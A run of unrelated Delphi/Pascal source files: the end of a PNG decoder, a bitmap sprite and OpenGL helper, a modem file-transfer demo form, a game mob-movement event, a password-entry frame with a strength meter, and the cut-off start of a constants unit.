for i:=0 to WidthHeight-1 do begin
a:=a and p^.a;
inc(p);
end;
if ((ColorType and 4)<>0) or (a<>FullAlpha) or HasTransparent then begin
p:=PPNGPixel(pointer(@pansichar(ImageData)[0]));
for i:=0 to WidthHeight-1 do begin
a:=p^.a;
if a<>0 then begin
b:=p^.b;
p^.b:=(p^.r*UnpremultiplyFactor) div a;
p^.r:=(b*UnpremultiplyFactor) div a;
p^.g:=(p^.g*UnpremultiplyFactor) div a;
end else begin
b:=p^.b;
p^.b:=p^.r;
p^.r:=b;
end;
inc(p);
end;
end else begin
p:=PPNGPixel(pointer(@pansichar(ImageData)[0]));
for i:=0 to WidthHeight-1 do begin
b:=p^.b;
p^.b:=p^.r;
p^.r:=b;
inc(p);
end;
end;
end;
begin
result:=false;
ImageData:=nil;
try
Palette:=nil;
TransparentColor:=nil;
idataexpanded:=nil;
idata:=nil;
idataexpanded:=nil;
try
if (assigned(DataPointer) and (DataSize>8)) and
((pansichar(DataPointer)[0]=#$89) and (pansichar(DataPointer)[1]=#$50) and (pansichar(DataPointer)[2]=#$4e) and (pansichar(DataPointer)[3]=#$47) and
(pansichar(DataPointer)[4]=#$0d) and (pansichar(DataPointer)[5]=#$0a) and (pansichar(DataPointer)[6]=#$1a) and (pansichar(DataPointer)[7]=#$0a)) then begin
DataEnd:=@pansichar(DataPointer)[DataSize];
First:=true;
PalImgBytes:=0;
ImgBytes:=0;
DataPtr:=@pansichar(DataPointer)[8];
Width:=0;
Height:=0;
idatasize:=0;
idatacapacity:=0;
PaletteSize:=0;
idataexpandedsize:=0;
BitDepth:=0;
ColorType:=0;
Interlace:=0;
WidthHeight:=0;
DataBytes:=0;
CgBI:=false;
HasTransparent:=false;
while (pansichar(DataPtr)+11)<pansichar(DataEnd) do begin
ChunkLength:=GetU32(DataPtr);
if (pansichar(DataPtr)+(4+ChunkLength))>pansichar(DataEnd) then begin
result:=false;
break;
end;
DataPtrEx:=DataPtr;
ChunkType:=GetU32(DataPtr);
DataNextChunk:=@pansichar(DataPtr)[ChunkLength];
CRC:=GetU32(DataNextChunk);
if CRC32(DataPtrEx,ChunkLength+4)<>CRC then begin
result:=false;
break;
end;
case ChunkType of
longword((ord('C') shl 24) or (ord('g') shl 16) or (ord('B') shl 8) or ord('I')):begin // CgBI
CgBI:=true;
end;
longword((ord('I') shl 24) or (ord('H') shl 16) or (ord('D') shl 8) or ord('R')):begin // IHDR
if ChunkLength=13 then begin
if not First then begin
result:=false;
break;
end;
First:=false;
Width:=GetU32(DataPtr);
Height:=GetU32(DataPtr);
if ((Width>(1 shl 24)) or (Height>(1 shl 24))) or ((Width=0) or (Height=0)) then begin
result:=false;
break;
end;
if HeaderOnly then begin
result:=true;
break;
end;
BitDepth:=GetU8(DataPtr);
if not (BitDepth in [1,2,4,8,16]) then begin
result:=false;
break;
end;
ColorType:=GetU8(DataPtr);
if (ColorType>6) or ((ColorType<>3) and ((ColorType and 1)<>0)) then begin
result:=false;
exit;
end else if ColorType=3 then begin
PalImgBytes:=3;
end;
Comp:=GetU8(DataPtr);
if Comp<>0 then begin
result:=false;
break;
end;
Filter:=GetU8(DataPtr);
if Filter<>0 then begin
result:=false;
break;
end;
Interlace:=GetU8(DataPtr);
if Interlace>1 then begin
result:=false;
break;
end;
if PalImgBytes=0 then begin
if (ColorType and 2)<>0 then begin
ImgBytes:=3;
end else begin
ImgBytes:=1;
end;
if (ColorType and 4)<>0 then begin
inc(ImgBytes);
end;
if (((1 shl 30) div Width) div ImgBytes)<Height then begin
result:=false;
break;
end;
end else begin
ImgBytes:=1;
if (((1 shl 30) div Width) div 4)<Height then begin
result:=false;
break;
end;
end;
end else begin
result:=false;
break;
end;
end;
longword((ord('P') shl 24) or (ord('L') shl 16) or (ord('T') shl 8) or ord('E')):begin // PLTE
if First then begin
result:=false;
break;
end;
case PalImgBytes of
3:begin
PaletteSize:=ChunkLength div 3;
if (PaletteSize*3)<>ChunkLength then begin
result:=false;
break;
end;
SetLength(Palette,PaletteSize);
for i:=0 to PaletteSize-1 do begin
Palette[i,0]:=GetU8(DataPtr);
Palette[i,1]:=GetU8(DataPtr);
Palette[i,2]:=GetU8(DataPtr);
Palette[i,3]:=$ff;
end;
end;
4:begin
PaletteSize:=ChunkLength div 4;
if (PaletteSize*4)<>ChunkLength then begin
result:=false;
exit;
end;
SetLength(Palette,PaletteSize);
for i:=0 to PaletteSize-1 do begin
Palette[i,0]:=GetU8(DataPtr);
Palette[i,1]:=GetU8(DataPtr);
Palette[i,2]:=GetU8(DataPtr);
Palette[i,3]:=GetU8(DataPtr);
end;
end;
else begin
result:=false;
break;
end;
end;
end;
longword((ord('t') shl 24) or (ord('R') shl 16) or (ord('N') shl 8) or ord('S')):begin // tRNS
if First or assigned(idata) then begin
result:=false;
break;
end;
if PalImgBytes<>0 then begin
if (length(Palette)=0) or (longint(ChunkLength)>length(Palette)) then begin
result:=false;
break;
end;
PalImgBytes:=4;
for i:=0 to PaletteSize-1 do begin
Palette[i,3]:=GetU8(DataPtr);
end;
end else begin
if ChunkLength=ImgBytes then begin
SetLength(TransparentColor,longint(ImgBytes));
for i:=0 to longint(ImgBytes)-1 do begin
d:=GetU8(DataPtr);
TransparentColor[i]:=d or (d shl 8);
end;
end else begin
if ((ImgBytes and 1)=0) or (ChunkLength<>(ImgBytes*2)) then begin
result:=false;
break;
end;
HasTransparent:=true;
SetLength(TransparentColor,longint(ImgBytes));
for i:=0 to longint(ImgBytes)-1 do begin
TransparentColor[i]:=GetU16(DataPtr);
end;
end;
end;
end;
longword((ord('I') shl 24) or (ord('D') shl 16) or (ord('A') shl 8) or ord('T')):begin // IDAT
if First or ((PalImgBytes<>0) and (length(Palette)=0)) then begin
result:=false;
break;
end;
if (idatasize=0) or (idatacapacity=0) or not assigned(idata) then begin
idatasize:=ChunkLength;
idatacapacity:=ChunkLength;
GetMem(idata,idatacapacity);
Move(DataPtr^,idata^,ChunkLength);
end else begin
if (idatasize+ChunkLength)>=idatacapacity then begin
if idatacapacity=0 then begin
idatacapacity:=1;
end;
while (idatasize+ChunkLength)>=idatacapacity do begin
inc(idatacapacity,idatacapacity);
end;
ReallocMem(idata,idatacapacity);
end;
Move(DataPtr^,pansichar(idata)[idatasize],ChunkLength);
inc(idatasize,ChunkLength);
end;
end;
longword((ord('I') shl 24) or (ord('E') shl 16) or (ord('N') shl 8) or ord('D')):begin // IEND
if First or ((PalImgBytes<>0) and (length(Palette)=0)) or not assigned(idata) then begin
result:=false;
break;
end;
if not DoInflate(idata,idatasize,idataexpanded,idataexpandedsize,not CgBI) then begin
result:=false;
break;
end;
// BitsPerPixel:=longint(ImgBytes)*BitDepth;
ImageWidth:=Width;
ImageHeight:=Height;
WidthHeight:=Width*Height;
// ImageBytesPerPixel:=((longint(ImgBytes)*longint(BitDepth))+7) shr 3;
// ImageLineWidth:=((ImageWidth*BitsPerPixel)+7) shr 3;
// ImageSize:=(((ImageWidth*ImageHeight)*BitsPerPixel)+7) shr 3;
GetMem(ImageData,(ImageWidth*ImageHeight)*sizeof(TPNGPixel));
try
CountBitsUsed:=0;
case Interlace of
0:begin
StartPass:=0;
EndPass:=0;
CountScanlines[0]:=Height;
ScanLineLength[0]:=Width;
end;
1:begin
StartPass:=1;
EndPass:=7;
for i:=1 to 7 do begin
d:=Height div Delta[i,1];
if (Height mod Delta[i,1])>StartPoints[i,1] then begin
inc(d);
end;
CountScanLines[i]:=d;
d:=Width div Delta[i,0];
if (Width mod Delta[i,0])>StartPoints[i,0] then begin
inc(d);
end;
ScanLineLength[i]:=d;
end;
end;
else begin
if assigned(ImageData) then begin
FreeMem(ImageData);
ImageData:=nil;
end;
result:=false;
break;
end;
end;
ByteWidth:=0;
ConvertColor:=nil;
case ColorType of
0:begin
case BitDepth of
1:begin
ConvertColor:=@ColorGray1;
ByteWidth:=1;
end;
2:begin
ConvertColor:=@ColorGray2;
ByteWidth:=1;
end;
4:begin
ConvertColor:=@ColorGray4;
ByteWidth:=1;
end;
8:begin
ConvertColor:=@ColorGray8;
ByteWidth:=1;
end;
16:begin
ConvertColor:=@ColorGray16;
ByteWidth:=2;
end;
end;
end;
2:begin
if BitDepth=8 then begin
ConvertColor:=@ColorColor8;
ByteWidth:=3;
end else begin
ConvertColor:=@ColorColor16;
ByteWidth:=6;
end;
end;
3:begin
if BitDepth=16 then begin
ByteWidth:=2;
end else begin
ByteWidth:=1;
end;
end;
4:begin
if BitDepth=8 then begin
ConvertColor:=@ColorGrayAlpha8;
ByteWidth:=2;
end else begin
ConvertColor:=@ColorGrayAlpha16;
ByteWidth:=4;
end;
end;
6:begin
if BitDepth=8 then begin
ConvertColor:=@ColorColorAlpha8;
ByteWidth:=4;
end else begin
ConvertColor:=@ColorColorAlpha16;
ByteWidth:=8;
end;
end;
end;
case BitDepth of
1:begin
CountBitsUsed:=8;
BitShift:=1;
BitsUsed:=BitsUsed1Depth;
end;
2:begin
CountBitsUsed:=4;
BitShift:=2;
BitsUsed:=BitsUsed2Depth;
end;
4:begin
CountBitsUsed:=2;
BitShift:=4;
BitsUsed:=BitsUsed4Depth;
end;
8:begin
CountBitsUsed:=1;
BitShift:=0;
BitsUsed[0]:=$ff;
end;
end;
DecompressPtr:=idataexpanded;
ml:=16;
try
GetMem(PreviousLine,16);
GetMem(CurrentLine,16);
for i:=StartPass to EndPass do begin
StartX:=StartPoints[i,0];
StartY:=StartPoints[i,1];
DeltaX:=Delta[i,0];
DeltaY:=Delta[i,1];
if ByteWidth=1 then begin
l:=ScanLineLength[i] div CountBitsUsed;
if (ScanLineLength[i] mod CountBitsUsed)>0 then begin
inc(l);
end;
end else begin
l:=ScanLineLength[i]*longword(ByteWidth);
end;
if ml=0 then begin
GetMem(PreviousLine,l);
GetMem(CurrentLine,l);
end else if ml<l then begin
ReallocMem(PreviousLine,l);
ReallocMem(CurrentLine,l);
end;
ml:=l;
FillChar(CurrentLine^,l,ansichar(#0));
for ry:=0 to CountScanlines[i]-1 do begin
SwitchLine:=CurrentLine;
CurrentLine:=PreviousLine;
PreviousLine:=SwitchLine;
y:=StartY+(ry*DeltaY);
LineFilter:=GetU8(DecompressPtr);
Move(DecompressPtr^,CurrentLine^,l);
inc(pansichar(DecompressPtr),l);
case LineFilter of
1:begin // Sub
for rx:=0 to l-1 do begin
if rx<ByteWidth then begin
CurrentLine^[rx]:=CurrentLine^[rx] and $ff;
end else begin
CurrentLine^[rx]:=(CurrentLine^[rx]+CurrentLine^[rx-ByteWidth]) and $ff;
end;
end;
end;
2:begin // Up
for rx:=0 to l-1 do begin
CurrentLine^[rx]:=(CurrentLine^[rx]+PreviousLine^[rx]) and $ff;
end;
end;
3:begin // Average
for rx:=0 to l-1 do begin
if rx<ByteWidth then begin
CurrentLine^[rx]:=(CurrentLine^[rx]+(PreviousLine^[rx] div 2)) and $ff;
end else begin
CurrentLine^[rx]:=(CurrentLine^[rx]+((CurrentLine^[rx-ByteWidth]+PreviousLine^[rx]) div 2)) and $ff;
end;
end;
end;
4:begin // Paeth
for rx:=0 to l-1 do begin
if rx<ByteWidth then begin
CurrentLine^[rx]:=(CurrentLine^[rx]+Paeth(0,PreviousLine^[rx],0)) and $ff;
end else begin
CurrentLine^[rx]:=(CurrentLine^[rx]+Paeth(CurrentLine^[rx-ByteWidth],PreviousLine^[rx],PreviousLine^[rx-ByteWidth])) and $ff;
end;
end;
end;
end;
HandleScanLine(y,i,CurrentLine);
end;
end;
finally
FreeMem(PreviousLine);
FreeMem(CurrentLine);
end;
if CgBI then begin
CgBISwapBGR2RGBandUnpremultiply;
end;
finally
end;
result:=true;
break;
end;
else begin
end;
end;
DataPtr:=DataNextChunk;
end;
end;
finally
SetLength(Palette,0);
SetLength(TransparentColor,0);
if assigned(idata) then begin
FreeMem(idata);
idata:=nil;
end;
if assigned(idataexpanded) then begin
FreeMem(idataexpanded);
idataexpanded:=nil;
end;
end;
except
if assigned(ImageData) then begin
FreeMem(ImageData);
ImageData:=nil;
end;
result:=false;
end;
end;
{$ifend}
end.
|
unit BMex1;
interface
{$IFDEF FPC} {$mode delphi} {$DEFINE AcqElphy2} {$A1} {$Z1} {$ENDIF}
uses Windows, SysUtils, Classes, Graphics,forms, math,
util1,Gdos,DibG,
GL,GLU, Glut;
{ TbitmapEx est un DIB
TbitmapEx maintient une liste de bitmaps (des TbitmapEx) qui permettent
de sauver/restaurer des petits rectangles de sa surface.
Il permet une sorte d'animation de sprites sur un fond complexe.
saveRect(rr:Trect) sauve un rectangle
restoreRects restaure tous les rectangles
clearRects efface la liste de rectangles.
Ces méthodes sont utilisées pour animer des curseurs sur Multigraph.
On ajoute initGLpaint et doneGLpaint qui permettent d'utiliser openGL sur le bitmap.
}
type
TbitmapEx=class(Tdib)
public
r0:Trect;
rects:Tlist;
FRC:hglrc;
FpuMask: TFPUExceptionMask;
constructor create;
destructor destroy;override;
procedure saveRect(rr:Trect);
procedure restoreRects;
procedure clearRects;
function initGLpaint: boolean;
procedure doneGLpaint;
end;
implementation
{ TbitmapEx }
constructor TbitmapEx.create;
begin
inherited;
initRgbDib(10,10);
rects:=Tlist.Create;
end;
destructor TbitmapEx.destroy;
begin
clearRects;
rects.free;
inherited;
end;
procedure TbitmapEx.clearRects;
var
i:integer;
begin
for i:=0 to rects.Count-1 do
TbitmapEx(rects[i]).free;
rects.clear;
end;
procedure TbitmapEx.restoreRects;
var
i:integer;
rr:Trect;
res:integer;
oldReg:HRGN;
begin
for i:=0 to rects.count-1 do
begin
rr:=TbitmapEx(rects[i]).r0;
{Draw ne marche pas si le clipping est ON . On conserve la région clippée }
res:=getClipRgn(self.canvas.handle,oldReg);
selectClipRgn(self.canvas.handle,0);
self.canvas.Draw(rr.left,rr.top,TbitmapEx(self.rects[i]));
if res>0 then selectClipRgn(self.canvas.handle,oldReg);
end;
end;
procedure TbitmapEx.saveRect(rr: Trect);
var
bm:TbitmapEx;
i:integer;
rA,rB,rI,rNew:Trect;
begin
bm:=TbitmapEx.create;
bm.Width:=rr.Right-rr.Left +1;
bm.Height:=rr.Bottom-rr.Top +1;
bm.r0:=rr;
{ bm.canvas.copyRect(rect(0,0,bm.Width,bm.Height),canvas,rr); }
bm.copyDibRect(rect(0,0,bm.Width-1,bm.Height-1),self,rr);
for i:=0 to rects.count-1 do
if IntersectRect(ri, rr, TbitmapEx(rects[i]).r0) then
begin
rNew:=TbitmapEx(rects[i]).r0;
rA.left:=rI.Left-rNew.Left;
rA.right:=rI.right-rNew.Left;
rA.top:=rI.top-rNew.top;
rA.bottom:=rI.bottom-rNew.top;
rB.left:=rI.Left-rr.Left;
rB.right:=rI.right-rr.Left;
rB.top:=rI.top-rr.top;
rB.bottom:=rI.bottom-rr.top;
bm.copyDibRect(rB,TbitmapEx(rects[i]),rA);
{ bm.canvas.copyRect(rB,TbitmapEx(rects[i]).canvas,rA); }
end;
rects.Add(bm);
end;
function TbitmapEx.initGLpaint:boolean;
var
nPixelFormat: Integer;
pfd: TPixelFormatDescriptor;
FDC:hdc;
begin
result:= {initOpenGL;} initGL and initGlu {$IFNDEF WIN64} and initGlut{$ENDIF} ;
if not result then exit;
gdiFlush;
FDC :=Canvas.Handle;
if FDC=0 then exit;
FillChar(pfd, SizeOf(pfd), 0);
with pfd do
begin
nSize := SizeOf(TPixelFormatDescriptor); // Size of this structure
nVersion := 1; // Version number
dwFlags := PFD_DRAW_TO_Bitmap or
PFD_SUPPORT_OPENGL; // Flags
iPixelType := PFD_TYPE_RGBA; // RGBA pixel values
cColorBits := bitCount; // 24-bit color
cDepthBits := bitCount; {garder 24 ?} // 24-bit depth buffer
cStencilBits := 8; // Stencil buffer, too.
iLayerType := PFD_MAIN_PLANE; // Layer type
end;
nPixelFormat := ChoosePixelFormat(FDC, @pfd);
SetPixelFormat(FDC, nPixelFormat, @pfd);
FRC := wglCreateContext(FDC);
if FRC=0 then exit;
wglMakeCurrent(FDC, FRC);
FPUmask:=GetExceptionMask;
SetExceptionMask([exInvalidOp, exDenormalized, exZeroDivide,exOverflow, exUnderflow, exPrecision]);
end;
procedure TbitmapEx.doneGLpaint;
begin
if not {initOpenGL} (initGL and initGlu) then exit;
glFinish;
wglMakeCurrent(0, 0);
wglDeleteContext(FRC);
SetExceptionMask(FPUmask);
end;
end.
|
unit ExPStat1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
OleCtrls, StdCtrls, Apax1_TLB;
type
TForm1 = class(TForm)
btnDial: TButton;
edtDial: TEdit;
btnSend: TButton;
OpenDialog1: TOpenDialog;
btnHangup: TButton;
cbxProtocol: TComboBox;
Label1: TLabel;
Label2: TLabel;
btnCancel: TButton;
GroupBox1: TGroupBox;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;
lblFileName: TLabel;
lblBytesTransferred: TLabel;
lblBytesRemaining: TLabel;
Apax1: TApax;
procedure btnDialClick(Sender: TObject);
procedure btnSendClick(Sender: TObject);
procedure btnHangupClick(Sender: TObject);
procedure Apax1TapiConnect(Sender: TObject);
procedure Apax1TapiPortClose(Sender: TObject);
procedure Apax1ProtocolFinish(Sender: TObject; ErrorCode: Integer);
procedure FormActivate(Sender: TObject);
procedure Apax1ProtocolStatus(Sender: TObject; Options: Integer);
procedure btnCancelClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.btnDialClick(Sender: TObject);
begin
Apax1.TapiNumber := edtDial.Text;
Apax1.TapiDial;
end;
procedure TForm1.btnSendClick(Sender: TObject);
begin
OpenDialog1.FileName := Apax1.SendFileName;
if OpenDialog1.Execute then begin
Apax1.SendFileName := OpenDialog1.FileName;
Apax1.Protocol := cbxProtocol.ItemIndex;
Apax1.StartTransmit;
end;
end;
procedure TForm1.btnHangupClick(Sender: TObject);
begin
Apax1.Close;
end;
procedure TForm1.Apax1TapiConnect(Sender: TObject);
begin
Caption := 'Connected';
btnSend.Enabled := True;
end;
procedure TForm1.Apax1TapiPortClose(Sender: TObject);
begin
Caption := 'ExPStat - File Transfer Sender with Status';
btnSend.Enabled := False;
end;
procedure TForm1.Apax1ProtocolFinish(Sender: TObject; ErrorCode: Integer);
begin
if (ErrorCode = 0) then
Apax1.TerminalWriteStringCRLF(Apax1.SendFileName + ' sent.')
else
Apax1.TerminalWriteStringCRLF(Apax1.SendFileName + ' protocol error - ' + IntToStr(ErrorCode));
end;
procedure TForm1.FormActivate(Sender: TObject);
begin
cbxProtocol.ItemIndex := Apax1.Protocol;
edtDial.Text := Apax1.TapiNumber;
Apax1.TerminalActive := False; { disable terminal capturing file data }
end;
procedure TForm1.Apax1ProtocolStatus(Sender: TObject; Options: Integer);
begin
if (Options <> 1) and (Options <> 2) then begin
lblFileName.Caption := Apax1.SendFileName;
lblBytesTransferred.Caption := IntToStr(Apax1.BytesTransferred);
lblBytesRemaining.Caption := IntToStr(Apax1.BytesRemaining);
end;
end;
procedure TForm1.btnCancelClick(Sender: TObject);
begin
Apax1.CancelProtocol;
end;
end.
|
//------------------------------------------------------------------------------
//MobMovement UNIT
//------------------------------------------------------------------------------
// What it does-
// A layer on top of MovementEvent to active AI
//
// Changes -
// [2008/12/22] Aeomin - Created
//
//------------------------------------------------------------------------------
unit MobMovementEvent;
{$IFDEF FPC}
{$MODE Delphi}
{$ENDIF}
interface
uses
{RTL/VCL}
//none
{Project}
Event,
Being,
MovementEvent
{3rd Party}
//none
;
type
//------------------------------------------------------------------------------
//TMobMovementEvent
//------------------------------------------------------------------------------
TMobMovementEvent = class(TRootEvent)
private
ABeing : TBeing;
public
Procedure Execute; override;
constructor Create(SetExpiryTime : LongWord; Being : TBeing);
end;
//------------------------------------------------------------------------------
implementation
uses
Mob,
MobAI,
WinLinux,
GameConstants
;
//------------------------------------------------------------------------------
Procedure TMobMovementEvent.Execute;
var
MoveEvent : TMovementEvent;
Speed : LongWord;
begin
if TMobAI(TMob(Abeing).AI).AIStatus = msIdle then
begin
TMobAI(TMob(Abeing).AI).AIStatus := msWandering;
if (Abeing.Direction in Diagonals) then
begin
Speed := Abeing.Speed * 3 DIV 2;
end else
begin
Speed := Abeing.Speed;
end;
Abeing.MoveTick := GetTick + Speed DIV 2;
MoveEvent := TMovementEvent.Create(Abeing.MoveTick, Abeing);
Abeing.EventList.Add(MoveEvent);
Abeing.ShowBeingWalking;
end else
if TMobAI(TMob(Abeing).AI).AIStatus = msWandering then
begin
//Something wrong =(
//Reset
TMobAI(TMob(Abeing).AI).AIStatus := msIdle;
end;
end;//Execute
//------------------------------------------------------------------------------
constructor TMobMovementEvent.Create(SetExpiryTime : LongWord; Being : TBeing);
begin
inherited Create(SetExpiryTime);
Self.ABeing := Being;
end;
end. |
unit fmeNewPassword;
{
copyright
(c) tdk
my code dual licenced under FreeOTFE licence and LGPL
code marked as 'sdean' is freeotfe licence only
description
new kephrase, get KeyPhrase from KeyPhrase property
IsValid true iff match
}
interface
uses
//delphi
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, SDUFrames, Vcl.StdCtrls, Vcl.ComCtrls,
//sdu
SDUGeneral,
//librecrypt
PasswordRichEdit, OTFEFreeOTFE_PasswordRichEdit, SDUComCtrls,
Vcl.Samples.Gauges;
type
TfrmeNewPassword = class (TSDUFrame)
lblInstructPassword: TLabel;
Label17: TLabel;
preUserKeyFirst: TOTFEFreeOTFE_PasswordRichEdit;
Label3: TLabel;
preUserKeyConfirm: TOTFEFreeOTFE_PasswordRichEdit;
ProgressBar1: TProgressBar;
lblStrength: TLabel;
procedure preUserKeyConfirmChange(Sender: TObject);
procedure preUserKeyFirstChange(Sender: TObject);
private
FOnChange: TNotifyEvent;
fKeyPhraseSet: Boolean; // has kephrase been set manually ('silent' mode)
procedure UpdateColours;
procedure UpdateStrength;
protected
procedure DoShow(); override;
procedure DoChange();
public
constructor Create(AOwner: TComponent); override;
procedure SetKeyPhrase(Value: TSDUBytes);
function IsPasswordValid: Boolean;
function GetKeyPhrase: TSDUBytes;
published
property OnChange: TNotifyEvent Read FOnChange Write FOnChange;
end;
//var
// frmeNewPassword: TfrmeNewPassword;
implementation
{$R *.dfm}
uses
SDUi18n, strutils,{CommCtrl,uxTheme,}
//librecrypt
OTFEFreeOTFEBase_U;
const
G_ALLCHARS: TSysCharSet = [#0..#127];
G_ALLBYTES: TSysCharSet = [#0..#255];
G_ALPHASYMBOLCHARS: TSysCharSet = [#33..#126];// all alphanumeric + nonspace specials
G_SYMBOLCHARS: TSysCharSet = [#33..#47, #58..#64, #91..#96, #123..#126];
// all nonspace specials xcept numbers
G_WHITESPACEANDNONPRINT: TSysCharSet = [#0..#32, #127]; // all ascii controls + space
G_NONPRINT: TSysCharSet = [#0..#8, #14..#31, #127]; // all ascii controls
G_WHITESPACE: TSysCharSet = [#9..#13, ' ']; // printable whitespace
G_ALPHANUM: TSysCharSet = ['0'..'9', 'A'..'Z', 'a'..'z'];// alphanumeric
G_ALPHANUM_APPOS: TSysCharSet = ['0'..'9', 'A'..'Z', 'a'..'z', ''''];
// alphanumeric + appostrophe
G_ALPHA: TSysCharSet = ['A'..'Z', 'a'..'z'];// alphabet
G_NUMCHARS: TSysCharSet = ['0'..'9'];// numeric
G_CAPITALS: TSysCharSet = ['A'..'Z'];
G_VALID_FILENAME: TSysCharSet = [#43..#46, #48..#57, #65..#90, #95, #97..#122];
{ TfrmeNewPassword }
constructor TfrmeNewPassword.Create(AOwner: TComponent);
begin
inherited;
fKeyPhraseSet := False;
end;
procedure TfrmeNewPassword.DoChange;
begin
if Assigned(fonchange) then
fonchange(self);
end;
procedure TfrmeNewPassword.DoShow;
begin
inherited;
SDUTranslateComp(lblInstructPassword);
// tsPassword
preUserKeyFirst.Plaintext := True;
// FreeOTFE volumes CAN have newlines in the user's password
preUserKeyFirst.WantReturns := True;
preUserKeyFirst.WordWrap := True;
preUserKeyFirst.PasswordChar := GetFreeOTFEBase().PasswordChar;
preUserKeyFirst.WantReturns := GetFreeOTFEBase().AllowNewlinesInPasswords;
preUserKeyFirst.WantTabs := GetFreeOTFEBase().AllowTabsInPasswords;
preUserKeyConfirm.Plaintext := True;
// FreeOTFE volumes CAN have newlines in the user's password
preUserKeyConfirm.WantReturns := True;
preUserKeyConfirm.WordWrap := True;
// if manually set ('silent' mode) don;t clear
if not fKeyPhraseSet then begin
preUserKeyConfirm.Lines.Clear();
preUserKeyFirst.Lines.Clear();
end;
preUserKeyConfirm.PasswordChar := GetFreeOTFEBase().PasswordChar;
preUserKeyConfirm.WantReturns := GetFreeOTFEBase().AllowNewlinesInPasswords;
preUserKeyConfirm.WantTabs := GetFreeOTFEBase().AllowTabsInPasswords;
end;
function TfrmeNewPassword.IsPasswordValid(): Boolean;
begin
Result := (preUserKeyFirst.Text = preUserKeyConfirm.Text) and (preUserKeyFirst.Text <> '');
end;
procedure TfrmeNewPassword.UpdateColours();
var
aCol: TColor;
const
// colours from system.UITypes
Lightblue = TColor($E6D8AD);
Lightpink = TColor($C1B6FF);
Lightgreen = TColor($90EE90);
begin
// if password complete and same then green, if different then red. if same up to length entered in 2nd, then blue
if preUserKeyConfirm.Text = '' then
aCol := clWhite
else
if (preUserKeyFirst.Text = preUserKeyConfirm.Text) then
aCol := Lightgreen
else
if AnsiStartsStr(preUserKeyConfirm.Text, preUserKeyFirst.Text) then
aCol := Lightblue
else
aCol := Lightpink;
//too subtle - change background
// preUserKeyFirst.Font.Color := aCol;
// preUserKeyConfirm.Font.Color := aCol;
preUserKeyConfirm.Color := aCol;
end;
procedure TfrmeNewPassword.UpdateStrength();
var
aBits: Double;
i: Integer;
aCol: TColor;
stren: String;
ch: Char;
begin
aBits := 0;
//very crude estimate of ntropy - helps shoulder surfers so add option to disable
for i := 1 to length(preUserKeyFirst.Text) - 1 do begin
ch := preUserKeyFirst.Text[i];
if charinset(ch, G_ALPHA) or charinset(ch , G_WHITESPACE) then
aBits := aBits + 1.1
else
if charinset(ch , G_NUMCHARS) then
aBits := aBits + 1.5
else
aBits := aBits + 2;
end;
ProgressBar1.Position := trunc(aBits);
if preUserKeyFirst.Text = '' then begin
aCol := clBlack;
stren := _('No keyphrase');
end else begin
if aBits < 56 then begin
aCol := clRed;
stren := _('Keyphrase weak');
end else begin
if aBits < 128 then begin
aCol := clBlue;
stren := _('Keyphrase OK');
end else begin
aCol := clGreen;
stren := _('Keyphrase strong');
end;
end;
end;
//this doesnt work with theme
ProgressBar1.BarColor := aCol;
// ProgressBar1.BackgroundColor := clYellow;
lblStrength.Font.color := aCol;
lblStrength.Caption := stren;
{ SetWindowTheme(self.Handle, nil, nil);
ProgressBar1.Brush.Color:= clRed; // Set Background colour
SendMessage (ProgressBar1.Handle, PBM_SETBARCOLOR, 0, clBlue); // Set bar colour }
end;
procedure TfrmeNewPassword.preUserKeyConfirmChange(Sender: TObject);
begin
inherited;
UpdateColours;
DoChange();
end;
procedure TfrmeNewPassword.preUserKeyFirstChange(Sender: TObject);
begin
inherited;
UpdateColours;
UpdateStrength();
DoChange();
end;
function TfrmeNewPassword.GetKeyPhrase(): TSDUBytes;
begin
{ TODO 1 -otdk -cbug : handle non ascii user keys - at least warn user }
Result := SDUStringToSDUBytes(preUserKeyFirst.Text);
end;
procedure TfrmeNewPassword.SetKeyPhrase(Value: TSDUBytes);
begin
{ TODO 1 -otdk -cbug : handle non ascii user keys - at least warn user }
preUserKeyFirst.Text := SDUBytesToString(Value);
preUserKeyConfirm.Text := preUserKeyFirst.Text;
fKeyPhraseSet := True;
end;
end.
|
unit AssociationListConst;
interface
const
SErrKeyDuplicatesInAssociationList = 'Нарушение уникальности ключа в наборе %s.';
SErrIndexOutOfRange = 'Попытка обратиться к несуществующему элементу списка или очереди.';
DWordListUpperLimit = 134217727;
BitMasks32: array[0..31] of LongWord =
($00000001,$00000002,$00000004,$00000008,$00000010,$00000020,$00000040,$00000080,
$00000100,$00000200,$00000400,$00000800,$00001000,$00002000,$00004000,$00008000,
$00010000,$00020000,$00040000,$00080000,$00100000,$00200000,$00400000,$00800000,
$01000000,$02000000,$04000000,$08000000,$10000000,$20000000,$40000000,$80000000);
ToUpperChars: array[0..255] of Char =
(#$00,#$01,#$02,#$03,#$04,#$05,#$06,#$07,#$08,#$09,#$0A,#$0B,#$0C,#$0D,#$0E,#$0F,
#$10,#$11,#$12,#$13,#$14,#$15,#$16,#$17,#$18,#$19,#$1A,#$1B,#$1C,#$1D,#$1E,#$1F,
#$20,#$21,#$22,#$23,#$24,#$25,#$26,#$27,#$28,#$29,#$2A,#$2B,#$2C,#$2D,#$2E,#$2F,
#$30,#$31,#$32,#$33,#$34,#$35,#$36,#$37,#$38,#$39,#$3A,#$3B,#$3C,#$3D,#$3E,#$3F,
#$40,#$41,#$42,#$43,#$44,#$45,#$46,#$47,#$48,#$49,#$4A,#$4B,#$4C,#$4D,#$4E,#$4F,
#$50,#$51,#$52,#$53,#$54,#$55,#$56,#$57,#$58,#$59,#$5A,#$5B,#$5C,#$5D,#$5E,#$5F,
#$60,#$41,#$42,#$43,#$44,#$45,#$46,#$47,#$48,#$49,#$4A,#$4B,#$4C,#$4D,#$4E,#$4F,
#$50,#$51,#$52,#$53,#$54,#$55,#$56,#$57,#$58,#$59,#$5A,#$7B,#$7C,#$7D,#$7E,#$7F,
#$80,#$81,#$82,#$81,#$84,#$85,#$86,#$87,#$88,#$89,#$8A,#$8B,#$8C,#$8D,#$8E,#$8F,
#$80,#$91,#$92,#$93,#$94,#$95,#$96,#$97,#$98,#$99,#$8A,#$9B,#$8C,#$8D,#$8E,#$8F,
